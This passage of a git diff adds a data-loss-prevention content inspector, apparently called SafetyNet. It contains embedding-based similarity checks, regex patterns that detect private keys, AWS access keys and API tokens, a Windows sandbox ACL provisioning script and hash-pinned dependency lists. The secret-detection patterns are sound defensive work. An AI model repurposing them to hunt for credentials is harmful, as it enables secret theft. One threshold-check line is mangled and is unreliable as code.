None: + from semantic import NativeSemanticModel + _MODEL=NativeSemanticModel(directory,worker) + return _MODEL + + +def embed(data, kind): + model=get_model() + if kind=="text": vectors=model.text_vectors(data.decode("utf-8")) + elif kind=="image": vectors=model.image_vectors(data) + elif kind=="audio": vectors=model.audio_vectors(data) + else: raise ValueError("Native semantic modality is not configured") + return aggregate_vectors(vectors) + + +def aggregate_vectors(vectors): + from semantic import validate_vectors,DIMENSIONS + validate_vectors(vectors) + vector=[sum(item[index] for item in vectors)/len(vectors) for index in range(DIMENSIONS)] + norm=math.sqrt(sum(value*value for value in vector)) + if norm<1e-12: raise ValueError("Degenerate semantic aggregate") + return [value/norm for value in vector] + + +def semantic_vector_features(text,media): + model=get_model();vectors=model.text_vectors(text) if text.strip() else [] + text_chunks=len(vectors) + for kind,payload in media: + if kind=="image": vectors.extend(model.image_vectors(payload)) + elif kind=="audio": vectors.extend(model.audio_vectors(payload)) + else: raise ValueError("Native semantic modality is not configured") + if len(vectors)>64: raise ValueError("Semantic vector budget exceeded") + if not vectors: raise ValueError("No semantic inputs") + return vectors,text_chunks + + +def semantic_vectors(text,media): + return semantic_vector_features(text,media)[0] + + +def embedding_features(data): + kind=content_kind(data) + if len(data)>MAX_BYTES: raise ValueError("Embedding input budget exceeded") + text,complete,media=extract(data,kind) + if len(text)>MAX_TEXT: raise ValueError("Extracted text budget exceeded") + vectors,text_chunks=semantic_vector_features(text,media) + return {**get_model().info(),"vector":aggregate_vectors(vectors),"vectors":vectors, + "coverage":{"complete":complete,"extractionComplete":complete,"textChunks":text_chunks,"mediaItems":len(media)}} + + +def deterministic(text, data, policy): + digest=hashlib.sha256(data).hexdigest() + normalized=unicodedata.normalize("NFKC",text).casefold() + patterns=[("private-key",r"-----BEGIN (?:RSA |EC |OPENSSH |DSA )?PRIVATE KEY-----"), + ("aws-access-key",r"\b(?:AKIA|ASIA)[A-Z0-9]{16}\b"), + ("api-secret",r"\b(?:sk-[A-Za-z0-9_-]{20,}|gh[pousr]_[A-Za-z0-9]{20,})\b")] + for rule,pattern in patterns: + if re.search(pattern,text): return rule + fragments=None + for rule in policy["dlp"]["rules"]: + if rule["kind"]=="sha256" and rule["value"].lower()==digest: return rule["id"] + if rule["kind"]=="literal" and unicodedata.normalize("NFKC",rule["value"]).casefold() in normalized: return rule["id"] + if rule["kind"]=="fragment-sha256" and text: + if fragments is None: fragments=fragment_hashes(text) + if rule["value"].lower() in fragments: return rule["id"] + return None + + +def inspect_content(data, policy, encoder=embed): + kind=content_kind(data) + result={"decision":"block","ruleId":"uninspectable","contentType":kind,"coverage":{"complete":False},"model":None} + if len(data)>min(MAX_BYTES,policy["dlp"]["maxBytes"]): result["ruleId"]="size-limit";return result + if policy.get("security",{}).get("yara",{}).get("enabled"): + malware=scan_download(data,policy) + if malware["decision"]!="allow": return {**result,"ruleId":malware["ruleId"],"malware":malware} + # Fingerprints can block any bytes before invoking parsers. + rule=deterministic("",data,policy) + if rule: result["ruleId"]=rule;return result + try: + text,complete,media=extract(data,kind) + if len(text)>MAX_TEXT: raise ValueError("Extracted text budget exceeded") + result["coverage"]={"complete":complete,"textCharacters":len(text),"mediaItems":len(media)} + rule=deterministic(text,data,policy) + if rule: result["ruleId"]=rule;return result + semantic=policy["dlp"].get("semantic",{}) + if semantic.get("enabled"): + if encoder is embed: + info=get_model().info() + if any(semantic.get(key)!=info[key] for key in ["model","revision","profile","dimensions","artifactFormat","quantization","runtimeRevision"]): raise ValueError("Pinned model profile unavailable") + elif semantic.get("model")!="google/embeddinggemma-2" or semantic.get("revision")!=os.environ.get("EMBEDDING_MODEL_REVISION"): raise ValueError("Pinned test model revision unavailable") + if not semantic.get("categories"): raise ValueError("Semantic policy has no reference categories") + result["model"]=semantic["model"];result["similarity"]=[] + if encoder is embed: vectors=semantic_vectors(text,media) + else: + inputs=[("text",text[i:i+4000].encode()) for i in range(0,len(text),3500)]+media + if not inputs or len(inputs)>64: raise ValueError("Inference budget exceeded") + vectors=[encoder(payload,modality) for modality,payload in inputs] + if sum(len(category.get("prototypes") or [category["prototype"]]) for category in semantic["categories"])>256: raise ValueError("Semantic reference budget exceeded") + for category in semantic["categories"]: + prototypes=category.get("prototypes") or [category["prototype"]] + if not isinstance(category.get("threshold"),(int,float)) or not math.isfinite(category["threshold"]) or not 0=category["threshold"]: result["ruleId"]=category["id"];return result + if complete: result["decision"]="allow";result["ruleId"]=None + return result + except Exception: + # Parser/model errors never release content and never serialize raw exception text. + result["ruleId"]="inspection-incomplete";return result diff --git a/apps/inspector/provision_runtime_acl.py b/apps/inspector/provision_runtime_acl.py new file mode 100644 index 0000000..db3faf9 --- /dev/null +++ b/apps/inspector/provision_runtime_acl.py @@ -0,0 +1,37 @@ +"""Installer-only ACL provisioning for this exact SafetyNet installation. + +Run with the installed private Python. No caller-controlled grant roots exist. +Normal service startup verifies ACLs without changing them. +""" +import argparse +import json +from pathlib import Path +import sys + +sys.path.insert(0, str(Path(__file__).resolve().parent)) +sys.dont_write_bytecode=True +from windows_appcontainer import AppContainer, SandboxError + + +def main(): + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument('--provision', action='store_true', help='Installer/owner only: establish read/execute ACLs') + args = parser.parse_args() + source = Path(__file__).absolute().parent + development = source.parent.name == 'apps' + installation = source.parent.parent if development else source.parent + runtime = installation / ('.runtime/windows/python' if development else 'python') + semantic = installation / ('.runtime/windows/semantic' if development else 'semantic') + if Path(sys.executable).resolve().parent != runtime.resolve(): + raise SandboxError('Use the private Python belonging to this installation') + roots = [source, runtime] + if semantic.is_dir(): roots.append(semantic) + sandbox = AppContainer(roots, provision=args.provision) + print(json.dumps({'verified': True, 'provisioned': args.provision, 'rootCount': len(roots), 'profile': sandbox.name})) + + +if __name__ == '__main__': + try: main() + except (SandboxError, OSError): + print('Approved installation ACL verification/provisioning failed.', file=sys.stderr) + raise SystemExit(1) diff --git a/apps/inspector/requirements-model.txt b/apps/inspector/requirements-model.txt new file mode 100644 index 0000000..b04e793 --- /dev/null +++ b/apps/inspector/requirements-model.txt @@ -0,0 +1,3 @@ +# Native offline EmbeddingGemma 2 inference uses the verified GGUF worker. +# No sentence-transformers, PyTorch or model-download client is needed at runtime. +-r requirements.txt diff --git a/apps/inspector/requirements.lock.txt b/apps/inspector/requirements.lock.txt new file mode 100644 index 0000000..a1298b7 --- /dev/null +++ b/apps/inspector/requirements.lock.txt @@ -0,0 +1,26 @@ +certifi==2026.7.22 --hash=sha256:62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c992928483775 +charset-normalizer==3.5.2 --hash=sha256:195c26fb65950f8fce54e26349852b7bdd7c5f120aeefbcc440b8a20faaed4a3 --hash=sha256:9373ad13ef0d2c0fb761e04e55bfdee5a08b52cef2c882c8fbe9935b1517152e --hash=sha256:ddf19c062bea7a0cc80f519243d2c01dd091be0cf952a0750d4ad576709559f5 --hash=sha256:3d14b50de6bf4d0edf857a9386836846f982b8f524e188e2e68b96d702bcf4aa --hash=sha256:28a15fdad492a99b6eccfaaed66ef3f74050680545ea61ec8b2f4c538f1f1320 --hash=sha256:8a893cc101149f80a653f82062ebc95b34525a2614382e1da5458fe7c6997249 --hash=sha256:619799369eeef6366ed3e8755a5670f4f2f0fb6b30a0fd7264dc0fdc2357058e --hash=sha256:447441e76ec720b15e64418d32e092297340387053047c7c694f579efb0ee1d9 --hash=sha256:62588a277bfb59def052abd940703fa35107152bf479781a878617d60faf8fb5 --hash=sha256:44bd4fbb29dfbeba60e7d2bd000c59e4b21ddb3cc53912b14048d37092706d7c --hash=sha256:30fcd120b732aa79317f08dee04d7de0847822e4cf7ee0e9f445bb958832252c --hash=sha256:50e3adfb96fc189eb27b1cf62d3b598b89b4bb0420d93a3d3e42e137409011be --hash=sha256:b736353c0a625bbd5fcec108576e2385db3496f4f771f785ff32e108d3c3bc45 --hash=sha256:f5833ad231be5eb6553de524a70f48d71b2c8563101750531e0b80184e175cd4 --hash=sha256:1461ac396c4fdb983a675f20aa555624f0ee18ac83d832b9244ffff3d8055275 --hash=sha256:c6708715abcf3c73b99508253e961a9967f02fe536532834149574eda6de0d1c --hash=sha256:3d21b8b13c7592db2ac5e544a6d83187b995257472b0c9e8351b6d507ae37ed6 --hash=sha256:d760fe2a4d7c3b226cb9026d6a842868d52a7901bd98420e1baf14e80da85cf5 --hash=sha256:c9790464842f85f437dbbb54417eda1e0e6bfc52dd8d22d6fd1c994b73b2dc74 --hash=sha256:4685902cf26edf013ed7a3da0f426ebba7a00ebb9541386d835afbf002c11cab --hash=sha256:4495c5002a7b28557e7e222e77e0b661183e432b7d6d2e788101e3f240e05b8c --hash=sha256:211d5a3eb6af8f513b8d4ca19a8c1b7accab1b5f0d3175f9826b03c1a920dc1f --hash=sha256:ef4fcbf3327382cd4c9f540babd61248208af7b93eec4de397b4d5f58a09e288 --hash=sha256:bd16aabe4a02a297c23417aa17ac6299dbd8c49f673bcd645b4929b11f5a4400 --hash=sha256:fb9e68df06293761f9fe66ade60a9bc6d0f5e42b8acf2939a9158af86ab0e5bd --hash=sha256:59f63901b0031c3136cf64704dcb21de0bbae62ce2c9529bc39d27665463de37 --hash=sha256:304d5463e65a35d7bb0850550e0780395395f6fcf452f04db7d5ca7cecc425ac --hash=sha256:9cf9b1a857e25c4baceeb3624e92a56df3668f398c4acba74e174d81fb4d1d3a --hash=sha256:114e4d0c92d618409ed82a99e22b5c5e768fe995f2973f78265f4524f49d4640 --hash=sha256:2625388c6c754520c37abaf3b41eb34d1cc4a373f457898f08606c8e362b891d --hash=sha256:87e50a3e7cb90af586b6c5faf23e302a970415ac73bd7bd90a515a04b427ef96 --hash=sha256:254eb48b9fa5ee9898a3c445825a1f340fe53712a098904b39b0bddba8ea3cb1 --hash=sha256:ed2a239c0ea213acc1908150a3037257083c7c083128f1a4cec2ec4b97dca491 --hash=sha256:b91363207bd9dc966a691e959bb47f64b30f7ac4b072be9968b366982f7db77c --hash=sha256:38a873987f3be698494da8b2e3085e29da02da7b633dce73e79c699a113d7bf0 --hash=sha256:355ad8011081dec5412240c087a9a0c9d4d5039f3ed11a3f13e18c2b29b56c51 --hash=sha256:ee21e28f0430bd6dc9086c6e525d5e818a44a5ad19720c8a0ef766792f3eb5e5 --hash=sha256:3d31298449090ab8d47b7b1b2a555ff73cac7ed438a08b7ac160980c7ebed649 --hash=sha256:5cde776b7cc66e4f6c99612cea4aa7269aa65863f7a15841b2c264f103822f4e --hash=sha256:ae4f5fea5b8b8ccff88238cc8569303e5ee95efae67fa62922a311397a71f346 --hash=sha256:f7d486c83842422badd511868fd8a9a20e9407ace71564b6af47ce7e60a336c1 --hash=sha256:11a4d68a6ecda3292cb1e50239e111543ba5d709bb62a6b4ea1afcfa729d8875 --hash=sha256:d6734d2ef8a50fbf8445c139477da401f50d62a0606bf00e20ec6d87773fefb1 --hash=sha256:a815775b6c38d4e0ff7bcffbeba67feded90202bb6a226b8dd35f1c855217413 --hash=sha256:23851fb4e1b85ed3f6c2a27b777cdfe2e19fb5b38429a8faf38c7542b7665869 --hash=sha256:db19d07e2e0129e974a0e65d0064fc222a446cd5122c2fd4184d2af9fc734a9e --hash=sha256:780fbe7cab297b81dad9fb8dc5eb003c0468ffb0d9e5f65068c53a34661a96bc --hash=sha256:e2af3aad578aa6bd1384bcf4750fc285e5a9de53f40b7d41e5a0bf748edeb2b3 --hash=sha256:ed905975ab14056a2e5eb1c376cb2e1ebc5396baf84163939c518556fccde9f5 --hash=sha256:a66c3bc5ab1f0ff2164fc9965ddd611ff0802173f4b9d24554c563f6ab7e1d6e --hash=sha256:d2374b62878abb00cd8309b32af6c0b715cd02dec0ca74ef12e5069bdc64144a --hash=sha256:d376bbd28b3a8999db1a103b3b388aee6f1ddeb3e51bc2172993efdcd86e064d --hash=sha256:6045373d5a89a5ec71afde535db987ca28e76dfa276c2d4c818265b375d4b055 --hash=sha256:849df64e889b2e17230d58410a03dba311a65b163508fd33679b2b737d4b7858 --hash=sha256:15c44f7edfd477b06f517a5cc317fc1707edb9de2c865f43d4b6513907473234 --hash=sha256:a89012d6d5476ee112d20d998570ed58df2260a852afb1758809cd6900411d21 --hash=sha256:0c951d5e6dd9c2ff60609476752bee49da4206adde960ebc247766937f72e718 --hash=sha256:7218e8f32b0956cfcd048fd42d9d5779809745ca1d86113ca56f66e7ae1549c4 --hash=sha256:a19a731138fc27d5682277d3b9df22855cea1239bce7fcec5f78f42ef2d1f3c3 --hash=sha256:62603db9a7caa0802eaa28c1c46fecd7b3a263a774069c24c3c28c302448721c --hash=sha256:b6856554c4f44d79fc2307d5768854310a8f0096e501c75637542c82292b0429 --hash=sha256:1bc0baf5ef96b6ede57d47f4b8fe4d9d84019c3bfcbeb20a41edc6a6ee341f1f --hash=sha256:56bc200a365efb37383b7852e4cc5898d3b2da5987289b543956cf8cad71018a --hash=sha256:2c9ad19a6cfcd5ea5c0d41161d22f9df1dcc277e9bef2751391334546a314c00 --hash=sha256:e243bd13217235fc7290c621941c3f5cc8b66e4872495be821d7436ba2fb838d --hash=sha256:a090bb2c68df85450502e3e20d665e3a5af9c65a84d6508ed477badd49166fd3 --hash=sha256:2b7b3bbfb4fe8ef40600792d762fbaa9057559f9d3fad209525b7a22b99e91fd --hash=sha256:78456a747de8dc58360ffa581f30a002baf5aa28cb262536545e91f113ed7639 --hash=sha256:11912e4bb14baae7c5d8791aa55ba0a3a03ec6729073307b0f57270abaa713d3 --hash=sha256:1afb975bd5d68d5ce9f6b6d44fdf2f7e34b895a35e95708a7a91b20a3b51d187 --hash=sha256:bbbfc8e28816f19d7c0f1816664980c0a9875d01b27cdf8eedddb639d9e108ad --hash=sha256:7967d08cf06dee78443b874f98c98036f624f3a4e73e11f9f64f5be4d25393cf --hash=sha256:4c2b5031f63e331e3839b40aed2dd6f191e9c07edbde303e7876846ea1946995 --hash=sha256:fcff63213e8e6e47770541a4607175404f47cbb3ebea7b6058cc82d524a0e424 --hash=sha256:8d86d6fc60743dc916eb79e2eb1ec4818e21e427731543af40a3021851174a13 --hash=sha256:7a881931aa470808df94a8c380eed2bbbc76cd9dc622310f99665658c821eb6d --hash=sha256:8024d00c3faf3fc0c16e07a69f4405e8eac7cc0ab15f65fe6cf43827c4cf72b4 --hash=sha256:4d48f2d08b9de5864e2c8744d4461b862fb149a18274abc8b698c45975573438 --hash=sha256:34276fd796040bf0993ab33a369aa572e6979c7aab225a88893667ad8eac8f7a --hash=sha256:0521c5665880b33d603717defa76c094048900010897909952397feb3039da56 --hash=sha256:eff0ac9dbe711a4aee69bf04a83896aa9b85f19641264053a9f6d48573abb7dd --hash=sha256:1503bccbeb36d5527790c3930327704c39af22de3112f1b1666a9f3ce15ee204 --hash=sha256:52aa6992700996af31f375de0c6bacd402b0097fe40b53c426b9f51a90ebabc7 --hash=sha256:e09a3942ecbdee5cce73ea9d42da82b81b72ac1bf031ce069b93b5adf4eac8cd --hash=sha256:c7c9ab723cde841fefb34efbad91e87f00a674b1fe1cd0784fde742bf2c154dc --hash=sha256:ddc7dacc8ece3a182e7f15cb862d1fd616b46d076cb1ae9dd232b2c38b655874 --hash=sha256:ee43c17b173d46a3212baa6ead3ae258eeabdae48c263a01ccf0218c366dd655 --hash=sha256:dca9ab98072a5a54ebacebdc45f53e645336b320c667410b061be1ca588ae709 --hash=sha256:f0aa869112ef88429ae17820d99c3dd9504c9e9c671d3c246f3d7442cb051084 --hash=sha256:c0afc6800ba57ccc350374c5bd6150419915d95ce93cdbab2d783d75eaf30ecb --hash=sha256:7dcd882da75ef9adf94903b1e3b9419e8aa8fb4c7396822b834b9ef7fb96954f --hash=sha256:2e06a3a98f916dd41d27f3105e02e7a40181c98c94b9158733d03a6f80506c09 --hash=sha256:6bd128f206a7752ae1f2ab6c61bf8a24ba28913a10df8b14c2637b973ff97a80 --hash=sha256:c8f3d67aeaf55f017982b73683f0e7342ba2f6635a78f69ce89ebb26aa411e5c --hash=sha256:fe9753dfee015c570d73df76f899f18444d41388bffcde097deba51c4fadbb9f --hash=sha256:92888bb3187c5ba50500b00b3b310c9f2c651709d28036077680cb5255450a03 --hash=sha256:d008d90a7f2471519aef0c90dfbe73b3e6e4d5e66ac48e19154c17e89e98b604 --hash=sha256:31f3930700408d211f13378ccbe1c40845d8da54bd0681fac3a9b5aae81c7aa8 --hash=sha256:2a925889534b3748302dae5dead07cc13480de1dac3aea80a941b729b471ef93 --hash=sha256:f5ec61164adcec446f8969a3358ec3f9b26bbda3b9213e5586d219afa8df2915 --hash=sha256:598a11a2c7ebaa5334bf698bf29568c9c390abac6a154d8170fedecd1cea38c5 --hash=sha256:7fdde2c9fd9e3eca40631e024664cf2584272cc8f96308cbe5fdfc930f51d8bc --hash=sha256:d1befeed746d247c81127bb14de9dc3d30edb6e5976d34f83f86ed262b1d9105 --hash=sha256:4f87960d57feabfb618e4e0af6e7371645fa26a277860739d6e5d6e0012c92f0 --hash=sha256:e4e81e09c1578b8df602e3db08b0b3ea0a6947ad612f52bf8dc5ea8d47691f0c --hash=sha256:80d02b6f04e92601a081dd97b23d3128033098bff5d35d392ddcc0476ea11253 --hash=sha256:87475fabc8d9996fd9c27debb395e642e8c838d78a00b6e932227a0e06b81e26 --hash=sha256:9409a8bf35cf78353942504b24a57de3d75b708997a1e4bd8db71ac8633ce364 --hash=sha256:498dc3188ca05a68231ac3fdbfc7f57eb67e1343c30e0fea17f8218c1599b253 --hash=sha256:e242bb1c5e76e97dfa9e7f209a71e93a01d7f19ffdd5cfbb2e2d55b4f08f8ab0 --hash=sha256:def79fa35ef0cef8d2accec024f4fdc7ead3012ff02f5215c783f39f03ef8cfc --hash=sha256:3df041de8887954562c9b261cba85ca0e9ded74048daf125f45edcfaa4832229 --hash=sha256:04851f73ae72b8413dddadb16a49dfee95263553741fd42d546f7d66907e6be5 --hash=sha256:183b88127acdb4fabe59d951ab424faf1af7b63cdbb5f776186c1ea2ffcaed98 --hash=sha256:16fa0eccf81304b79c5cd87f9271c3b85dd9dd99245e4422ae9c0dd45e0f99d3 --hash=sha256:7441d755b7ab94f8d4eb3e43ec05482d760842fd263d003a99102d742cd835e2 --hash=sha256:ca403d7e4798f525fdfc78e258820419cbbd0f0ecbab9de7840e3c017cf6b8cf --hash=sha256:df29a0a7107f7011e77f4eebdddec4c7331e24d787a0b21a46d63bdf7445da95 --hash=sha256:f3c96f633825733f735c5a9cf21d21a257d8e1edf0b1cee0a064b9c424ca0f7d --hash=sha256:915563965d418f986e7e145accc592eae9e1a1be3566ff98a05d7a9ec42a76e1 --hash=sha256:65cd72beeeca9d3aaea1201e5923859f308f952f9c71de93f06063c79f0f7a3b --hash=sha256:b7fd005a73d9e657273b7a10dc71a9e03c8fb9ee6999798d6918ce095b81ac7f --hash=sha256:e54da4baf05720032d527874d40b65fa4d7e5c6c6a43d0c3adbeffcaf275a2b3 --hash=sha256:124fbf1a8ff966d87ae05bb8bd45a71f966055ed8bba320d0c7cf450bc5f4d0e --hash=sha256:28b4f0d66fb834ff90f28209ac7bce77868c45d8c93e26f906709d9b7c2e1af9 --hash=sha256:58ca3755ee7ff7f59b57789ec9833c9de9ea275405cdd240eda1f193112e398a --hash=sha256:443eae2bf318abeaf6f15d785138f71fd6de770e99a92158b8b814265e079115 --hash=sha256:58f361dcbab699cf8f42db3f47c8e7fd1036f138c23a5d08de9fde5f425a730c --hash=sha256:1b4cbc7c3491ccb4aa17fcd8165649d01cf39f76de1696da8631b5f71b85401d --hash=sha256:ba0b1d2620edf869789c3879223f52bf2afc5d31b3cb47cc57b3a12c05e2aa9d --hash=sha256:5e2b6b57e9733d39f0c9fd3185efa6b8e29652c4cd8fe94180272cf6ed9a78c4 --hash=sha256:51cf45226a9b588d0d2b4880c62d686934b63ab0bd79ca23ab0e9762eb27441b --hash=sha256:5fb29fb8cd1a46c27a1bf9613ad5ec2599310d46b4025d9556404a6b6a292800 --hash=sha256:a192e2c40070d92c3ccf777e3a5c4ff515573cd2bb7ed0c537fdadbbec5bbf21 --hash=sha256:749e97e1b32313717a565abbe321bc2190bc8b35f1a67e4cdbc7c56c8d8ffe58 --hash=sha256:281cb91036248400f4cc957495cccd44c275c2e0c5854f7e45ac5cf7dc193847 --hash=sha256:89b53f3cda69831909888e0494f4fa0bcd3537e3e138dabeb620bd6ad946bae8 --hash=sha256:6be488a102b8cf28d0391d8c4ba7748938ae28b78ad901f8585520fca33ead1a --hash=sha256:4275811936e2f06feff5e598fb42a1b7ae852da8e39605211892b56b81a34efd --hash=sha256:1c50fe28bbc2ced33386f298650d91218076c05420e6cbd790b913adc41659e7 --hash=sha256:d19fbd981a488e22cd04883659ca6b08f50b5974f9fd7c95655ef6a043e5893f --hash=sha256:0fed1d06615f022ee3b13caf5e8b180cfea32bb2c5aded8a9d44277afc040f93 --hash=sha256:838dcc90063569a0448120554591a1d6c4a4ffe11babf048908793154ab86ade --hash=sha256:2ce45c6627b22c47e390bc91a41c3d13032192e699fa0bea96e9671b373d69b0 --hash=sha256:0774bf9bf620249fee3e0b8b9fd3065de213be30f3aa94ce2494b3b638949e26 --hash=sha256:1db38f4c5496827c1a501846d64d14c3b80c7e6714e406cd7dc36a9899fa1011 --hash=sha256:304d8e4d493af723536393eee0c689eb7813f4a474c8b479dee63f1fdd98f621 --hash=sha256:9b7f416ff0978e2f2249330527f0ad6fa02f4932e6199692d3b52da2048c19e4 --hash=sha256:01077390b03f7988f11d700a2194e69b119741a86b1a638b1db88891e3eced8e --hash=sha256:7e841fb9010836c992c9f12fcbd43a831de93a5f726fc1ccd8ca1d0268c5014c --hash=sha256:9cae88599c7219005d879f98e5ed53341e9a122af585e1091200358a3003d2a0 --hash=sha256:01b0c0d2262a9e28e8484a278c7e1b5d650e3ac8cf2683d2967e25899f208bdf --hash=sha256:9f56f72050826f63dcee7a7f55b0a77168cb3bfc553fd405e7f8f9ece75a4036 --hash=sha256:40ab6bffa02ae10a0581e6c198be7d2d8ca5c2a0c64e4ed3465d766df457573e --hash=sha256:75a3ceed0724d625d64b86ca20aba182e4df462e04c2414fc941c0f523f06aac --hash=sha256:0891b9d3903c5571c03771ca669a4b0ec5618ca722a5c957d3d29cd4e5062848 --hash=sha256:fc14a032f813bf5fe624d991960ea83e9715adc27e4c1830a2361eb1d02ac341 --hash=sha256:8b2bfab86aa71ae13aa41a6a26aab338e0db2b8bc75434b05aea89e011ff35a4 --hash=sha256:9bde855991b7e362c146535e3136a50bfaffc0487d38b33ca7e5edefc6e23849 --hash=sha256:55ea99acb17b9325618de155a0cd6a2e8f5d10be008113e1d433bbb58db543b2 --hash=sha256:68eb192d85ab8e5f6ec69c2bc6ac0179fbf04a5ac1569d12fbef74883fe102d0 --hash=sha256:d913de495d90407cd859d263bee2e5d1a4ed3eb6573c04e70d9ec619a7cbed7f --hash=sha256:3ddacd27458c45bdacd6bd6db644bfb730efbf9e830310186e3045c9c5be8fb2 --hash=sha256:588461c2e8384d309bd63e5826019b6977bc66d629b99ac8737bb795d7b2cb5a --hash=sha256:e80e6c2f55656b4824d72065abb4ddd6a525c74bd78a0aab5d9fc2cf4fb5af50 --hash=sha256:d4a7319f304a774bed22115bc891618e45f85065ab44ea6acd07d274e750519a --hash=sha256:fd1fbe0f116b6e55da77aca2c6ddcddcfac2186cbf78bdebf40fc156efca389d --hash=sha256:93223adc95033dd47133a46ccfc316a0139176fd79085762e27202ec56018f03 --hash=sha256:15bb4005af6320d259dc7593ca84a38d7fe06a421dbcf7b910ae23979101e787 --hash=sha256:2cc961b171b3f3440f410489ab3573e86aea8736134ebbb40ea1338b7f0831bc --hash=sha256:b6b751274acb69d77b3323d6b7dbaa3c7fdfc1eb829b7eb61d262f32e1af9685 +colorama==0.4.6 --hash=sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6 +colorlog==6.12.0 --hash=sha256:30d392604e9110045a2c2aeefc27d7a017abbab63f3a8aee594eac0801df784e +defusedxml==0.7.1 --hash=sha256:a352e7e428770286cc899e2542b6cdaedb2b4953ff269a210103ec58f6198a61 +flatbuffers==25.12.19 --hash=sha256:7634f50c427838bb021c2d66a3d1168e9d199b0607e6329399f04846d42e20b4 +idna==3.20 --hash=sha256:ab7ae7122974553370f0bdb919e1a960b2cd1bc1ef0276416d896db81c14582c +mpmath==1.3.0 --hash=sha256:a0b2b9fe80bbcd81a6647ff13108738cfb482d481d826cc0e02f5b35e5c88d2c +numpy==2.5.4 --hash=sha256:c6342f54c67093cae5c0227eb0eb772fdb79f2a2c37a6eb278b9909ee06aa356 --hash=sha256:b11e8fda06a7d69f15ebf542660b74466c2e51094800c1fb794f47ad4faeef17 --hash=sha256:9cb18a327b49c5c337f972b03682f6a49855525faaf3c0d3e9c96cd0fd8880a8 --hash=sha256:aec3fc4b32ff82421274f5d205c559c51c840c8df66a78efd7f3612dd005a26a --hash=sha256:fe4d21ab149f15e4e6043dfb0de87e6e5f34ac176cde83060e9802981fca2ac2 --hash=sha256:fbde6962867ee75b48b0ee29b2b9372ec5d617799dbaf38e82dc0596f2f7738a --hash=sha256:381a7a3d2e65e64c0ec302795ab9dc12bb1e73f150904699c153716177eebdaf --hash=sha256:b89d0aaae2fe498c648f4c4795c084db535af5bd98ef942b2a3681fb74ce8645 --hash=sha256:9968ab7e49b93ac6e1c3b2239732183152c9150f16308d30b66a372cffe3483c --hash=sha256:a7b1b6353e36a7e50de2973a38d705c88ee93adcf120673cee7f45a4a3fa223a --hash=sha256:aa1cce2ff3f8d953de38b76bf44602caeb69f101430208f64a10067f7cb4b1d3 --hash=sha256:2377da2dd3ba2c1200956acbab2a358c83b8e1f8531191672d1cd6ad83250d53 --hash=sha256:7415db95818b39ec475a5eea54d9e3b6bc83e3912158e46da3438cdce399804d --hash=sha256:6d6a71b9d9a97c03633aa12565ef2825ffa036cc1d99cfd50dacf0f128af4fe2 --hash=sha256:d8200f16437b289a5bb927c6e184eccc3e8389bc0070fea4cd5b9e13c1757959 --hash=sha256:1c2e71b04c6cad90026e544501bbe0ab9290fa8a4d845e7e8c0d124fb429c988 --hash=sha256:6ffa07666f8da0eef81d149934a626d0d95fbd6838432a33e66245423a9062c0 --hash=sha256:2fa3328f784fc8277fc48026f6cad516f5c561c5d8e2e39b3c9e0c8f23223b34 --hash=sha256:b86966fbe4ad7de710422175572bcdc75fdedadfb54bc6fab7deabccddd7780b --hash=sha256:5258bc06526964be5face2fc6f756857a3f24f21ec3e72ca131337a75b165d6c --hash=sha256:8b4d2fd2d34e5f8c9235ee787de5631a37a28402b15cb80814df973d2be54129 --hash=sha256:bc39ac66a7a9a3fbd6134fda43136b60ffde99c8f4501e64e0d2b24da137babf --hash=sha256:c668b2f0d651605b58892644b0e302c7157f7159544227758c896982ef384b18 --hash=sha256:ffa6ce09a1c6a08e9667dd9c97aa0b14184e8d18f2a14b78b2a2328c9147f076 --hash=sha256:956555e0603a4d38019ae6925711cb9dc43195c076a928accf7ea5d50bddfe53 --hash=sha256:2c2c4afffdeb7920e445028dd71eb932cac3e704792e964bc2a232426d4f1255 --hash=sha256:4054173604cd8658796053f1f3bc0befb68ec1c0762c57fdad61e199256a8617 --hash=sha256:d549420b8858885cea8838a727842249218b9c1da24dd517e25c9c7a948310a3 --hash=sha256:823874a507a84af050493b622affde94b6f7c3a0dc22cb2801381bc03b871c00 --hash=sha256:4e263278bfb5ee6409db8aedbc4cc32973b1b82bc1e8d3c668551d04d83a7e37 --hash=sha256:1ef3aa6d7e29bb13677323114280b05acc57607fa2300e66432d665d5418a162 --hash=sha256:98b053943e5a0474ec0da309d2cb9d3f18ea57f8a2067c2ab7b5f763d1068380 --hash=sha256:b64a85f40e154983960a4167d4c1d57a50c7f109b3d3264a3a984154e90a8454 --hash=sha256:a813ed7719bf45463c51779e6a98d0385fe905e48447526938a4b8337333d551 --hash=sha256:c9b80cdf5cedba0e90d93fa5f9a333c4d65bd545cd669b71bb97ce2b703c9d73 --hash=sha256:2199ed071f460487c8db2c0e5c0b564494190edb4772fe80f9aad88b2604def5 --hash=sha256:64f9c9878c1938476365e11ccfb6b770f3b9e5f045ccddc514235041e6959365 --hash=sha256:64d1c8ac28a4077cf987e0a71a7a0ef7e2df70722f07f0baa42dbb7eb6938647 --hash=sha256:067374eb538c34c745436365cf7b0112595c1d326f21ce4ff340f61230239fbb --hash=sha256:e94aef2c639da4a960ad0db8e06471208d8589974953d78b61d345b4eb99e394 --hash=sha256:cfd73180400042a7c532d30c5e287bdd03c59ff9ee1b4c0316af0539e29dfe23 --hash=sha256:2ca144f15135b6212a5c47b1e2aeca6e412f102f95a2d5d88d8aec77eb255de3 --hash=sha256:468397ba3c64427474706e5c9123fe266395496714dc684294eac75cd4930d1e --hash=sha256:8dddfbee2e68d26d0d7d7d9cb247b1fd4409241cce32d815a11d97ec2cfde179 --hash=sha256:81e3420b27048b65eb14c3acf0c174a8cb0e023277716110347d2dcb26026dad --hash=sha256:0b4724a19de67bea8cfc4970798efa78bcbbe2ac2613cfac16721a42d44de2a5 --hash=sha256:2132418bf8dd124a427ca9e6a1daf9ee1a87185344c95119ceae868b99466da1 --hash=sha256:325518d4245b9e331387702aa58c2ce1dc4cdcbb41dfb4ccd5dcbc7e08db1266 --hash=sha256:56733449d2544178beaa4545cee357370440cf056c197f9c7bfb19dbfdd0e86d --hash=sha256:5ec3753760c1a6d8bb91200666e545c3a9728e6269dfb5d6ce02340996698aa3 --hash=sha256:b1185012870173de7ae33d370bd45b1cf5baee747ea4b97036b65f4e93016877 --hash=sha256:950ea81d57ef070665581b6e1b5f6a029306423cd1739c5b95fe78aa30db6b9d --hash=sha256:c05ede731b03fb1b7591faca9389ade3267d2bddf1ad8882bb3f2cc5e101694f 